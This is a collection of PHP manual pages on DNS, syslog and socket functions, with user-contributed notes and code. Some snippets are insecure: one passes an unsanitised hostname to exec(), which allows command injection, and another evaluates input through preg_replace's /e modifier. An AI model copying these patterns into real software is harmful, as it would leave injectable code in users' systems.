   if(eregi($exp,$email)){

      if(checkdnsrr(array_pop(explode("@",$email)),"MX")){
        return true;
      }else{
        return false;
      }

   }else{

      return false;

   }
}

?>
fox dot 69 at gmx dot net 01-May-2003 10:40
maybe usefull, a blacklist (DNSBL) check function:

<?php
function is_blacklisted($ip) {
    $dnsbl_check=array("bl.spamcop.net",
                       "relays.osirusoft.com",
                       "list.dsbl.org",
                       "sbl.spamhaus.org");
    if ($ip) {
       $quads=explode(".",$ip);
        $rip=$quads[3].".".$quads[2].".".$quads[1].".".$quads[0];
        for ($i=0; $i<count($dnsbl_check); $i++) {
            if (checkdnsrr($rip.".".$dnsbl_check[$i],"A")) {
                $listed.=$dnsbl_check[$i]." ";
            }
         }
       if ($listed) { return $listed; } else { return FALSE; }
    }
}
?>
kriek at jonkriek dot com 26-Mar-2003 02:08
The checkdnsrr function is not implemented on the Windows platform. The way to get around this problem is to write your own version of checkdnsrr. Example: myCheckDNSRR

<?php
function myCheckDNSRR($hostName, $recType = '')
{
 if(!empty($hostName)) {
   if( $recType == '' ) $recType = "MX";
   exec("nslookup -type=$recType $hostName", $result);
   // check each line to find the one that starts with the host
   // name. If it exists then the function succeeded.
   foreach ($result as $line) {
     if(eregi("^$hostName",$line)) {
       return true;
     }
   }
   // otherwise there was no mail handler for the domain
   return false;
 }
 return false;
}
?>
Note that the type parameter is optional, and if you don't supply it then the type defaults to "MX" (which means Mail Exchange). If any records are found, the function returns TRUE. Otherwise, it returns FALSE.


Close connection to system logger

  • « checkdnsrr
  • define_syslog_variables »
  • PHP Manual
  • Network Functions
  • Close connection to system logger

closelog

(PHP 4, PHP 5)

closelog — Close connection to system logger

Description

bool closelog ( void )

closelog() closes the descriptor being used to write to the system logger. The use of closelog() is optional.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • syslog() - Generate a system log message
  • openlog() - Open connection to system logger

User Contributed Notes

There are no user contributed notes for this page.


Initializes all syslog related variables

  • « closelog
  • dns_check_record »
  • PHP Manual
  • Network Functions
  • Initializes all syslog related variables

define_syslog_variables

(PHP 4, PHP 5 < 5.4.0)

define_syslog_variables — Initializes all syslog related variables

Description

void define_syslog_variables ( void )

Initializes all variables used in the syslog functions.

Return Values

No value is returned.

Syslog variables
Variable | Constant equal | Meaning | Notes
$LOG_EMERG | LOG_EMERG | System is unusable |
$LOG_ALERT | LOG_ALERT | Immediate action required |
$LOG_CRIT | LOG_CRIT | Critical conditions |
$LOG_ERR | LOG_ERR |  |
$LOG_WARNING | LOG_WARNING |  |
$LOG_NOTICE | LOG_NOTICE |  |
$LOG_INFO | LOG_INFO |  |
$LOG_DEBUG | LOG_DEBUG |  |
$LOG_KERN | LOG_KERN |  |
$LOG_USER | LOG_USER | Genetic user level |
$LOG_MAIL | LOG_MAIL | Log to email |
$LOG_DAEMON | LOG_DAEMON | Other system daemons |
$LOG_AUTH | LOG_AUTH |  |
$LOG_SYSLOG | LOG_SYSLOG |  | Not available on Netware
$LOG_LPR | LOG_LPR |  |
$LOG_NEWS | LOG_NEWS | Usenet new | Not available on HP-UX
$LOG_CRON | LOG_CRON |  | Not available on all platforms
$LOG_AUTHPRIV | LOG_AUTHPRIV |  | Not available on AIX
$LOG_LOCAL0 | LOG_LOCAL0 |  | Not available on Windows and Netware
$LOG_LOCAL1 | LOG_LOCAL1 |  | Not available on Windows and Netware
$LOG_LOCAL2 | LOG_LOCAL2 |  | Not available on Windows and Netware
$LOG_LOCAL3 | LOG_LOCAL3 |  | Not available on Windows and Netware
$LOG_LOCAL4 | LOG_LOCAL4 |  | Not available on Windows and Netware
$LOG_LOCAL5 | LOG_LOCAL5 |  | Not available on Windows and Netware
$LOG_LOCAL6 | LOG_LOCAL6 |  | Not available on Windows and Netware
$LOG_LOCAL7 | LOG_LOCAL7 |  | Not available on Windows and Netware
$LOG_PID | LOG_PID |  |
$LOG_CONS | LOG_CONS |  |
$LOG_ODELAY | LOG_ODELAY |  |
$LOG_NDELAY | LOG_NDELAY |  |
$LOG_NOWAIT | LOG_NOWAIT |  | Not available on BeOS
$LOG_PERROR | LOG_PERROR |  | Not available on AIX
Warning

This function has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.

Examples

Example #1 define_syslog_variables() example

<?php
// Check if syslog variables already is defined
if(!get_cfg_var('define_syslog_variables'))
{
    define_syslog_variables();
}

// Open the log
openlog('', $LOG_ODELAY, $LOG_MAIL | $LOG_USER);

// Continue script ...
?>

Changelog

Version | Description
5.4.0 | This function was removed from PHP.
5.3.0 | This function now throws an E_DEPRECATED notice.

See Also

  • openlog() - Open connection to system logger
  • syslog() - Generate a system log message
  • closelog() - Close connection to system logger

User Contributed Notes

chad 0x40 herballure 0x2e com 24-Jul-2007 09:47
define_syslog_variables() only defines global variables. Constants are already always defined, if the syslog module is loaded. You _do not_ need to call this to use the syslog constants.

For instance, on my system:
<?php
var_dump(LOG_ERR); // int(3)
var_dump($LOG_ERR); // NULL (and an E_NOTICE)
define_syslog_variables();
var_dump($LOG_ERR); // int(3)
?>


Alias of checkdnsrr

  • « define_syslog_variables
  • dns_get_mx »
  • PHP Manual
  • Network Functions
  • Alias of checkdnsrr

dns_check_record

(PHP 5)

dns_check_record — Alias of checkdnsrr()

Description

This function is an alias of: checkdnsrr().

User Contributed Notes

There are no user contributed notes for this page.


Alias of getmxrr

  • « dns_check_record
  • dns_get_record »
  • PHP Manual
  • Network Functions
  • Alias of getmxrr

dns_get_mx

(PHP 5)

dns_get_mx — Alias of getmxrr()

Description

This function is an alias of: getmxrr().

User Contributed Notes

There are no user contributed notes for this page.


Fetch DNS Resource Records associated with a hostname

  • « dns_get_mx
  • fsockopen »
  • PHP Manual
  • Network Functions
  • Fetch DNS Resource Records associated with a hostname

dns_get_record

(PHP 5)

dns_get_record — Fetch DNS Resource Records associated with a hostname

Description

array dns_get_record ( string $hostname [, int $type = DNS_ANY [, array &$authns [, array &$addtl [, bool &$raw = false ]]]] )

Fetch DNS Resource Records associated with the given hostname.

Parameters

hostname

hostname should be a valid DNS hostname such as "www.example.com". Reverse lookups can be generated using in-addr.arpa notation, but gethostbyaddr() is more suitable for the majority of reverse lookups.

Note:

Per DNS standards, email addresses are given in user.host format (for example: hostmaster.example.com as opposed to hostmaster@example.com), be sure to check this value and modify if necessary before using it with a functions such as mail().

type

By default, dns_get_record() will search for any resource records associated with hostname. To limit the query, specify the optional type parameter. May be any one of the following: DNS_A, DNS_CNAME, DNS_HINFO, DNS_MX, DNS_NS, DNS_PTR, DNS_SOA, DNS_TXT, DNS_AAAA, DNS_SRV, DNS_NAPTR, DNS_A6, DNS_ALL or DNS_ANY.

Note:

Because of eccentricities in the performance of libresolv between platforms, DNS_ANY will not always return every record, the slower DNS_ALL will collect all records more reliably.

authns

Passed by reference and, if given, will be populated with Resource Records for the Authoritative Name Servers.

addtl

Passed by reference and, if given, will be populated with any Additional Records.

raw

In case of raw mode, we query only the requestd type instead of looping type by type before going with the additional info stuff.

Return Values

This function returns an array of associative arrays, or FALSE on failure. Each associative array contains at minimum the following keys:

Basic DNS attributes
Attribute | Meaning
host | The record in the DNS namespace to which the rest of the associated data refers.
class | dns_get_record() only returns Internet class records and as such this parameter will always return IN.
type | String containing the record type. Additional attributes will also be contained in the resulting array dependant on the value of type. See table below.
ttl | "Time To Live" remaining for this record. This will not equal the record's original ttl, but will rather equal the original ttl minus whatever length of time has passed since the authoritative name server was queried.

Other keys in associative arrays dependant on 'type'
Type | Extra Columns
A | ip: An IPv4 addresses in dotted decimal notation.
MX | pri: Priority of mail exchanger. Lower numbers indicate greater priority. target: FQDN of the mail exchanger. See also dns_get_mx().
CNAME | target: FQDN of location in DNS namespace to which the record is aliased.
NS | target: FQDN of the name server which is authoritative for this hostname.
PTR | target: Location within the DNS namespace to which this record points.
TXT | txt: Arbitrary string data associated with this record.
HINFO | cpu: IANA number designating the CPU of the machine referenced by this record. os: IANA number designating the Operating System on the machine referenced by this record. See IANA's » Operating System Names for the meaning of these values.
SOA | mname: FQDN of the machine from which the resource records originated. rname: Email address of the administrative contain for this domain. serial: Serial # of this revision of the requested domain. refresh: Refresh interval (seconds) secondary name servers should use when updating remote copies of this domain. retry: Length of time (seconds) to wait after a failed refresh before making a second attempt. expire: Maximum length of time (seconds) a secondary DNS server should retain remote copies of the zone data without a successful refresh before discarding. minimum-ttl: Minimum length of time (seconds) a client can continue to use a DNS resolution before it should request a new resolution from the server. Can be overridden by individual resource records.
AAAA | ipv6: IPv6 address
A6(PHP >= 5.1.0) | masklen: Length (in bits) to inherit from the target specified by chain. ipv6: Address for this specific record to merge with chain. chain: Parent record to merge with ipv6 data.
SRV | pri: (Priority) lowest priorities should be used first. weight: Ranking to weight which of commonly prioritized targets should be chosen at random. target and port: hostname and port where the requested service can be found. For additional information see: » RFC 2782
NAPTR | order and pref: Equivalent to pri and weight above. flags, services, regex, and replacement: Parameters as defined by » RFC 2915.

Changelog

Version | Description
5.4.0 | Added raw parameter.
5.3.0 | This function is now available on Windows platforms.
5.3.0 | Prior to this release, if the authns parameter was given, the addtl parameter was also required.

Examples

Example #1 Using dns_get_record()

<?php
$result = dns_get_record("php.net");
print_r($result);
?>

The above example will output something similar to:

Array
(
    [0] => Array
        (
            [host] => php.net
            [type] => MX
            [pri] => 5
            [target] => pair2.php.net
            [class] => IN
            [ttl] => 6765
        )

    [1] => Array
        (
            [host] => php.net
            [type] => A
            [ip] => 64.246.30.37
            [class] => IN
            [ttl] => 8125
        )

)

Example #2 Using dns_get_record() and DNS_ANY

Since it's very common to want the IP address of a mail server once the MX record has been resolved, dns_get_record() also returns an array in addtl which contains associate records. authns is returned as well containing a list of authoritative name servers.

<?php
/* Request "ANY" record for php.net,
   and create $authns and $addtl arrays
   containing list of name servers and
   any additional records which go with
   them */
$result = dns_get_record("php.net", DNS_ANY, $authns, $addtl);
echo "Result = ";
print_r($result);
echo "Auth NS = ";
print_r($authns);
echo "Additional = ";
print_r($addtl);
?>

The above example will output something similar to:

Result = Array
(
    [0] => Array
        (
            [host] => php.net
            [type] => MX
            [pri] => 5
            [target] => pair2.php.net
            [class] => IN
            [ttl] => 6765
        )

    [1] => Array
        (
            [host] => php.net
            [type] => A
            [ip] => 64.246.30.37
            [class] => IN
            [ttl] => 8125
        )

)
Auth NS = Array
(
    [0] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => remote1.easydns.com
            [class] => IN
            [ttl] => 10722
        )

    [1] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => remote2.easydns.com
            [class] => IN
            [ttl] => 10722
        )

    [2] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => ns1.easydns.com
            [class] => IN
            [ttl] => 10722
        )

    [3] => Array
        (
            [host] => php.net
            [type] => NS
            [target] => ns2.easydns.com
            [class] => IN
            [ttl] => 10722
        )

)
Additional = Array
(
    [0] => Array
        (
            [host] => pair2.php.net
            [type] => A
            [ip] => 216.92.131.5
            [class] => IN
            [ttl] => 6766
        )

    [1] => Array
        (
            [host] => remote1.easydns.com
            [type] => A
            [ip] => 64.39.29.212
            [class] => IN
            [ttl] => 100384
        )

    [2] => Array
        (
            [host] => remote2.easydns.com
            [type] => A
            [ip] => 212.100.224.80
            [class] => IN
            [ttl] => 81241
        )

    [3] => Array
        (
            [host] => ns1.easydns.com
            [type] => A
            [ip] => 216.220.40.243
            [class] => IN
            [ttl] => 81241
        )

    [4] => Array
        (
            [host] => ns2.easydns.com
            [type] => A
            [ip] => 216.220.40.244
            [class] => IN
            [ttl] => 81241
        )

)

Notes

Note:

For compatibility with versions before PHP 5.3.0 on some operating systems, try the » PEAR class » Net_DNS.

See Also

  • dns_get_mx() - Alias of getmxrr
  • dns_check_record() - Alias of checkdnsrr

User Contributed Notes

PHP Joe 14-Aug-2013 08:30
Although this works very well for general DNS queries if you want to do a direct DNS query to a specified DNS server (rather than using OS resolution) try PHPDNS: http://www.purplepixie.org/phpdns/

You can do direct (TCP or UDP) low-level queries to a nameserver and recurse at will. Very useful for testing specific servers and also for walking through a recursive resolution.
karl at influ dot io 26-Apr-2013 10:38
There's a comment below from 7 years ago regarding BSD and MacOSX, I'd just like to follow up incase some people see that and don't think it'll work on MacOSX.

Software:

    System Software Overview:

      System Version: OS X 10.8.3 (12D78)
      Kernel Version: Darwin 12.3.0
      Boot Volume: Macintosh HD
      Boot Mode: Normal
      Computer Name: Karl’s iMac
      User Name: Karl Kloppenborg (karl)
      Secure Virtual Memory: Enabled
      Time since boot: 10 days 20:24
--------------

# php -a
php > print_r(dns_get_record('google.com', DNS_MX));

Array
(
    [0] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 10
            [target] => aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

    [1] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 30
            [target] => alt2.aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

    [2] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 50
            [target] => alt4.aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

    [3] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 40
            [target] => alt3.aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

    [4] => Array
        (
            [host] => google.com
            [type] => MX
            [pri] => 20
            [target] => alt1.aspmx.l.google.com
            [class] => IN
            [ttl] => 749
        )

)
dylan at pow7 dot com 21-Feb-2009 08:29
Get more than one type at once like this:
<?php
$dnsr = dns_get_record('php.net', DNS_A + DNS_NS);
print_r($dnsr);
?>

Using DNS_ALL fails on some domains where DNS_ANY works. I noticed the function getting stuck on the DNS_PTR record, which caused it to return FALSE with this error:
PHP Warning:  dns_get_record(): res_nsend() failed in ....

This gets all records except DNS_PTR:
<?php
$dnsr = dns_get_record('php.net', DNS_ALL - DNS_PTR);
print_r($dnsr);
?>


Open Internet or Unix domain socket connection

  • Â« dns_get_record
  • gethostbyaddr Â»
  • PHP Manual
  • Network Functions
  • Open Internet or Unix domain socket connection

fsockopen

(PHP 4, PHP 5)

fsockopen — Open Internet or Unix domain socket connection

Description

resource fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") ]]]] )

Initiates a socket connection to the resource specified by hostname.

PHP supports targets in the Internet and Unix domains as described in List of Supported Socket Transports. A list of supported transports can also be retrieved using stream_get_transports().

The socket will by default be opened in blocking mode. You can switch it to non-blocking mode by using stream_set_blocking().

The function stream_socket_client() is similar but provides a richer set of options, including non-blocking connection and the ability to provide a stream context.

Parameters

hostname

If OpenSSL support is installed, you may prefix the hostname with either ssl:// or tls:// to use an SSL or TLS client connection over TCP/IP to connect to the remote host.

port

The port number. This can be omitted and skipped with -1 for transports that do not use ports, such as unix://.

errno

If provided, holds the system level error number that occurred in the system-level connect() call.

If the value returned in errno is 0 and the function returned FALSE, it is an indication that the error occurred before the connect() call. This is most likely due to a problem initializing the socket.

errstr

The error message as a string.

timeout

The connection timeout, in seconds.

Note:

If you need to set a timeout for reading/writing data over the socket, use stream_set_timeout(), as the timeout parameter to fsockopen() only applies while connecting the socket.

Return Values

fsockopen() returns a file pointer which may be used together with the other file functions (such as fgets(), fgetss(), fwrite(), fclose(), and feof()). If the call fails, it will return FALSE

Errors/Exceptions

Throws E_WARNING if hostname is not a valid domain.

Examples

Example #1 fsockopen() Example

<?php
$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: www.example.com\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

Example #2 Using UDP connection

The example below shows how to retrieve the day and time from the UDP service "daytime" (port 13) in your own machine.

<?php
$fp = fsockopen("udp://127.0.0.1", 13, $errno, $errstr);
if (!$fp) {
    echo "ERROR: $errno - $errstr<br />\n";
} else {
    fwrite($fp, "\n");
    echo fread($fp, 26);
    fclose($fp);
}
?>

Notes

Note:

Depending on the environment, the Unix domain or the optional connect timeout may not be available.

Warning

UDP sockets will sometimes appear to have opened without an error, even if the remote host is unreachable. The error will only become apparent when you read or write data to/from the socket. The reason for this is because UDP is a "connectionless" protocol, which means that the operating system does not try to establish a link for the socket until it actually needs to send or receive data.

Note: When specifying a numerical IPv6 address (e.g. fe80::1), you must enclose the IP in square bracketsâ€”for example, tcp://[fe80::1]:80.

See Also

  • pfsockopen() - Open persistent Internet or Unix domain socket connection
  • stream_socket_client() - Open Internet or Unix domain socket connection
  • stream_set_blocking() - Set blocking/non-blocking mode on a stream
  • stream_set_timeout() - Set timeout period on a stream
  • fgets() - Gets line from file pointer
  • fgetss() - Gets line from file pointer and strip HTML tags
  • fwrite() - Binary-safe file write
  • fclose() - Closes an open file pointer
  • feof() - Tests for end-of-file on a file pointer
  • socket_connect() - Initiates a connection on a socket
  • The Curl extension

User Contributed Notes

p14nd4 19-Jul-2014 06:30
It appears that in PHP 5.6.0 (at least the version in Debian jessie, with openssl 1.0.1h-3), this function *is* now validating SSL certificates (in a variety of ways). First, it appears to fail for untrusted certificates (i.e. no matching CA trusted locally), and secondly, it appears to fail for mismatched hostnames in the request and certificate.

---------
$ echo "<?php echo fsockopen(\"ssl://localhost\", 993); ?>" | php -a
Interactive mode enabled

PHP Warning:  fsockopen(): Peer certificate CN=`my.test.server' did not match expected CN=`localhost' in - on line 1
PHP Warning:  fsockopen(): Failed to enable crypto in - on line 1
PHP Warning:  fsockopen(): unable to connect to ssl://localhost:993 (Unknown error) in - on line 1
----------
$ echo "<?php echo fsockopen(\"ssl://my.test.server\", 993); ?>" | php -a
Interactive mode enabled

PHP Warning:  fsockopen(): SSL operation failed with code 1. OpenSSL Error messages:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed in - on line 1
PHP Warning:  fsockopen(): Failed to enable crypto in - on line 1
PHP Warning:  fsockopen(): unable to connect to ssl://my.test.server:993 (Unknown error) in - on line 1
---------
#installed CA locally
---------
$ echo "<?php echo fsockopen(\"ssl://my.test.server\", 993); ?>" | php -a
Interactive mode enabled

Resource id #1
biguenique at yahoo dot ca 19-Mar-2014 01:29
Did you know that fsockopen() DOES NOT validate SSL certificates whatsoever? For the sake of World's overall security level, I guess it would be a very positive idea to add a BIG WARNING notice on the manual page!

Citing the extensive study  titled "The Most Dangerous Code in the World: Validating SSL Certiï¬cates in Non-Browser Software" published in 2012 (google it if they removed the link) on page 5:

"PHP provides several methods for establishing SSL connections. For example, fsockopen, which opens a raw socket to the remote server, can be used to connect to SSL servers by putting â€œssl://â€ in the URL. Even though fsockopen does not perform any certificate checks whatsoever, PHP application developers routinely use it for SSL connection establishment (see Section 9)."

For proper certificate validation with some level of ease, you can always move to cURL, but be careful:

"PHP also provides a cURL binding, which uses cURLâ€™s default settings to establish SSL connections with proper certificate validation. As we show in Sections 7.1, 7.2, and 7.3, application developers often set cURL options incorrectly, overriding the defaults and breaking certificate validation."

For more detailed insights, try out the following code:
<?php readfile("http".str_replace('+', '.', implode('/', array(":", null, "www+cs+utexas+edu", "~shmat", "shmat_ccs12.pdf")))); ?>
Charles Torvalds 29-Apr-2013 02:06
Rewrite/Update of king dot macro's DNS lookups function.
<?php

function gethostbyaddr_timeout( $ip, $dns, $timeout = 3 ) {
    // src: http://www.askapache.com/php/php-fsockopen-dns-udp.html

    // random transaction number (for routers etc to get the reply back)
    $data = rand( 10, 77 ) . "\1\0\0\1\0\0\0\0\0\0";

    // octals in the array, keys are strlen of bit
    $bitso = array("","\1","\2","\3" );
    foreach( array_reverse( explode( '.', $ip ) ) as $bit ) {
        $l=strlen($bit);
        $data.="{$bitso[$l]}".$bit;
    }

    // and the final bit of the request
    $data .= "\7in-addr\4arpa\0\0\x0C\0\1";

    // create UDP socket
    $errno = $errstr = 0;
    $fp = fsockopen( "udp://{$dns}", 53, $errno, $errstr, $timeout );
    if( ! $fp || ! is_resource( $fp ) )
        return $errno;

    if( function_exists( 'socket_set_timeout' ) ) {
        socket_set_timeout( $fp, $timeout );
    } elseif ( function_exists( 'stream_set_timeout' ) ) {
        stream_set_timeout( $fp, $timeout );
    }

    // send our request (and store request size so we can cheat later)
    $requestsize = fwrite( $fp, $data );
    $max_rx = $requestsize * 3;

    $start = time();
    $responsesize = 0;
    while ( $rxed < $max_rx && ( ( time() - $start ) < $timeout ) && ($b = fread( $fp, 1 ) ) !== false ) {
        $responsesize++;
        $response .= $b;
    }
    echo "[tx: $requestsize bytes]  [rx: {$responsesize} bytes]";

    // hope we get a reply
    if ( is_resource( $fp ) )
        fclose( $fp );

    // if empty response or bad response, return original ip
    if ( empty( $response ) || bin2hex( substr( $response, $requestsize + 2, 2 ) ) != '000c' )
        return $ip;

    // set up our variables
    $host = '';
    $len = $loops = 0;

    // set our pointer at the beginning of the hostname uses the request size from earlier rather than work it out
    $pos = $requestsize + 12;
    do {
        // get segment size
        $len = unpack( 'c', substr( $response, $pos, 1 ) );

        // null terminated string, so length 0 = finished - return the hostname, without the trailing .
        if ( $len[1] == 0 )
            return substr( $host, 0, -1 );

        // add segment to our host
        $host .= substr( $response, $pos + 1, $len[1] ) . '.';

        // move pointer on to the next segment
        $pos += $len[1] + 1;

        // recursion protection
        $loops++;
    }
    while ( $len[1] != 0 && $loops < 20 );

    // return the ip in case
    return $ip;
}

?>
kexianbin at diyism dot com 29-Dec-2011 05:15
My recursive unchunk function:

<?php
function unchunk($result)
         {return preg_replace('/([0-9A-F]+)\r\n(.*)/sie',
                              '($cnt=@base_convert("\1", 16, 10))
                               ?substr(($str=@strtr(\'\2\', array(\'\"\'=>\'"\', \'\\\\0\'=>"\x00"))), 0, $cnt).unchunk(substr($str, $cnt+2))
                               :""
                              ',
                              $result
                             );
         }
?>
Jeremy Saintot 15-Jan-2011 01:24
Here is my fsockopen-based HTTP request fonction (GET and POST) :

<?php
function http_request(
    $verb = 'GET',             /* HTTP Request Method (GET and POST supported) */
    $ip,                       /* Target IP/Hostname */
    $port = 80,                /* Target TCP port */
    $uri = '/',                /* Target URI */
    $getdata = array(),        /* HTTP GET Data ie. array('var1' => 'val1', 'var2' => 'val2') */
    $postdata = array(),       /* HTTP POST Data ie. array('var1' => 'val1', 'var2' => 'val2') */
    $cookie = array(),         /* HTTP Cookie Data ie. array('var1' => 'val1', 'var2' => 'val2') */
    $custom_headers = array(), /* Custom HTTP headers ie. array('Referer: http://localhost/ */
    $timeout = 1,           /* Socket timeout in seconds */
    $req_hdr = false,          /* Include HTTP request headers */
    $res_hdr = false           /* Include HTTP response headers */
    )
{
    $ret = '';
    $verb = strtoupper($verb);
    $cookie_str = '';
    $getdata_str = count($getdata) ? '?' : '';
    $postdata_str = '';

    foreach ($getdata as $k => $v)
                $getdata_str .= urlencode($k) .'='. urlencode($v) . '&';

    foreach ($postdata as $k => $v)
        $postdata_str .= urlencode($k) .'='. urlencode($v) .'&';

    foreach ($cookie as $k => $v)
        $cookie_str .= urlencode($k) .'='. urlencode($v) .'; ';

    $crlf = "\r\n";
    $req = $verb .' '. $uri . $getdata_str .' HTTP/1.1' . $crlf;
    $req .= 'Host: '. $ip . $crlf;
    $req .= 'User-Agent: Mozilla/5.0 Firefox/3.6.12' . $crlf;
    $req .= 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' . $crlf;
    $req .= 'Accept-Language: en-us,en;q=0.5' . $crlf;
    $req .= 'Accept-Encoding: deflate' . $crlf;
    $req .= 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7' . $crlf;

    foreach ($custom_headers as $k => $v)
        $req .= $k .': '. $v . $crlf;

    if (!empty($cookie_str))
        $req .= 'Cookie: '. substr($cookie_str, 0, -2) . $crlf;

    if ($verb == 'POST' && !empty($postdata_str))
    {
        $postdata_str = substr($postdata_str, 0, -1);
        $req .= 'Content-Type: application/x-www-form-urlencoded' . $crlf;
        $req .= 'Content-Length: '. strlen($postdata_str) . $crlf . $crlf;
        $req .= $postdata_str;
    }
    else $req .= $crlf;

    if ($req_hdr)
        $ret .= $req;

    if (($fp = @fsockopen($ip, $port, $errno, $errstr)) == false)
        return "Error $errno: $errstr\n";

    stream_set_timeout($fp, 0, $timeout * 1000);

    fputs($fp, $req);
    while ($line = fgets($fp)) $ret .= $line;
    fclose($fp);

    if (!$res_hdr)
        $ret = substr($ret, strpos($ret, "\r\n\r\n") + 4);

    return $ret;
}
?>

Example usages :

<?php
echo http_request('GET', 'www.php.net');
echo http_request('GET', 'www.php.net', 80, '/manual/en/function.phpinfo.php');
echo http_request('GET', 'www.php.net', 80, '/manual/en/function.phpinfo.php', array('get1' => 'v_get1'), array(), array('cookie1' => 'v_cookie1'), array('X-My-Header' => 'My Value'));
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by "Wrinkled Cheese" on 24-JUN-2011 to fix the $getdata foreach() loop; another bugfix provided by Suat Secmen on 12-JAN-2012 to fix a $timeout = 1000, then stream_set_timeout($fp, 0, $timeout * 1000), equaling 1,000 seconds.]
gratcypalma at gmail dot com 31-Aug-2010 05:56
<?php
/*
this script i used for remote my PvPGN Server, to check email user.
not good, but it work.
*/

set_time_limit(0);
$host   = 'host';
$port   = 'port';
$user   = 'user';
$pass   = 'pass';
$socket = fsockopen($host, $port) or die('Could not connect to: '.$host);
$userdota = "palma";
if($socket)
{
    sendcmd("\r",$socket);
    $status = "open"; // set status open

    while($status=="open") //while we are connected to the server
      {
             $line = @fgets($socket, 1024) ;
              /////////////login////////////////
            if (strstr($line, "there is no guest account"))
              {
                 sendcmd($user."\r\n",$socket);
                 sendcmd($pass."\r\n",$socket);
              }
            //////////////send command ////////////////////
            if (strstr($line,"Your unique name: ".$user))
              {  sendcmd("/finger ".$userdota."\r\n",$socket);
              }

            //////////////get email////////////////////
            if (strstr($line,"email:")) // if respone server write "email:"
              {
                 $pattern = '/email:(.*) ,/';
                 preg_match($pattern, $line, $matches);
                 fclose($socket);
                 $status="close"; // status close
                 $matches=str_replace(" ","", $matches);
                 $matches=str_replace(",is_operator:0,is_admin:0,","", $matches);
                 $matches=str_replace("email:","", $matches);
                 print $matches[0];
                 $email=$matches[0];
              }
            if (strstr($line,"ERROR: Invalid user.")) // if respone server write "ERROR: Invalid user."
              {

                 fclose($socket);
                 $status="close";
                 $error ="Invalid User";    // error message
              }

            ////////////login failed //////////////////////////
            if (strstr($line, "Login failed")) // if respone server write "Login failed"
              {
                 $error = "Login Failed";    // error message
                 fclose($socket);
                 $status="close";
              }

            flush(); // close

      }

}
function sendcmd($cmd,$socket) // send command function
{
  fputs($socket, $cmd, strlen($cmd));
}
?>
ken at kenmclean dot com dot au 15-Jul-2010 02:33
Make sure you don't use a double line break ("\r\n\r\n") during the middle of your header, as it appears to end the header.

This means a \r\n\r\n before "Connection: close\r\n\r\n" will not correctly tell fsockopen to close the request, leading to a max timeout error.

Some of the code on this page does this. It took me days to figure out. Example:

<?php
    // Wrong:
    fwrite($fp, "GET / HTTP/1.1\r\n");
    fwrite($fp, "Host: php.net\r\n");
    fwrite($fp, "User-Agent: example\r\n\r\n");
    fwrite($fp, "Connection: Close\r\n\r\n");

    // Right:
    fwrite($fp, "GET / HTTP/1.1\r\n" );
    fwrite($fp, "Host: php.net\r\n");
    fwrite($fp, "User-Agent: example\r\n");
    fwrite($fp, "Connection: Close\r\n\r\n");
?>
SoupNazi 18-May-2010 08:58
I would like to save people some time.  I spent a couple hours trying to de-hunkify the response from apache2.  I found out that if you simply make a 1.0 request vs. a 1.1 request you will get no hunks and so this simple script below will get the page you want in plain text, no hunks:

<?php
$data=false;
$url='www.example.com';

$fp = @fsockopen($url, 80, $errno, $errstr, 1);
if ($fp) {
    stream_set_timeout($fp,1);
    $out = "GET / HTTP/1.0\r\n";
    $out .= "Host: www.example.com\r\n";
    $out .= "Connection: Close\r\n\r\n";
    if (fwrite($fp, $out)) {
        $content='';
        $header = "not yet";
        while (!feof($fp)) {
            $data=true;
            $line=fgets($fp,128);
            if ($line=="\r\n" && $header=="not yet") {
                $header = "passed";
            }
            if ($header=="passed") {
                $content.=$line;
            }
        }
        fclose ($fp);
    }
}
if (!$data) {
    print "Unable to retrieve all or part of $url";
} else {
    print "$content";
}

?>

I borrowed some of the script from another poster here - the portion removing the returned header.
steve at visual77 dot com 12-Feb-2010 07:23
A short, quick unchunk function that makes use of regular expressions:

<?php

function unchunk($result) {
    return preg_replace_callback(
        '/(?:(?:\r\n|\n)|^)([0-9A-F]+)(?:\r\n|\n){1,2}(.*?)'.
        '((?:\r\n|\n)(?:[0-9A-F]+(?:\r\n|\n))|$)/si',
        create_function(
            '$matches',
            'return hexdec($matches[1]) == strlen($matches[2]) ? $matches[2] : $matches[0];'
        ),
        $result
    );
}

?>
nytro_rst at yahoo dot com 12-Jan-2010 11:26
A simple proxy list checker. You can check a list ip:port if that port is opened on that IP.

<?php

$fisier = file_get_contents('proxy_list.txt'); // Read the file with the proxy list
$linii = explode("\n", $fisier); // Get each proxy
$fisier = fopen("bune.txt", "a"); // Here we will write the good ones

for($i = 0; $i < count($linii) - 1; $i++) test($linii[$i]); // Test each proxy

function test($proxy)
{
  global $fisier;
  $splited = explode(':',$proxy); // Separate IP and port
  if($con = @fsockopen($splited[0], $splited[1], $eroare, $eroare_str, 3))
  {
    fwrite($fisier, $proxy . "\n"); // Check if we can connect to that IP and port
    print $proxy . '<br>'; // Show the proxy
    fclose($con); // Close the socket handle
  }
}

fclose($fisier); // Close the file

?>
FaTe 14-Sep-2009 05:02
In all header aspects I can understand for 3rd party content you may not be able to apply the following but for those reading pages where content being read by fsockopen is editable then I suggest adding a simple unique tag to the beginning of any page being read such as ":THISTAG:"

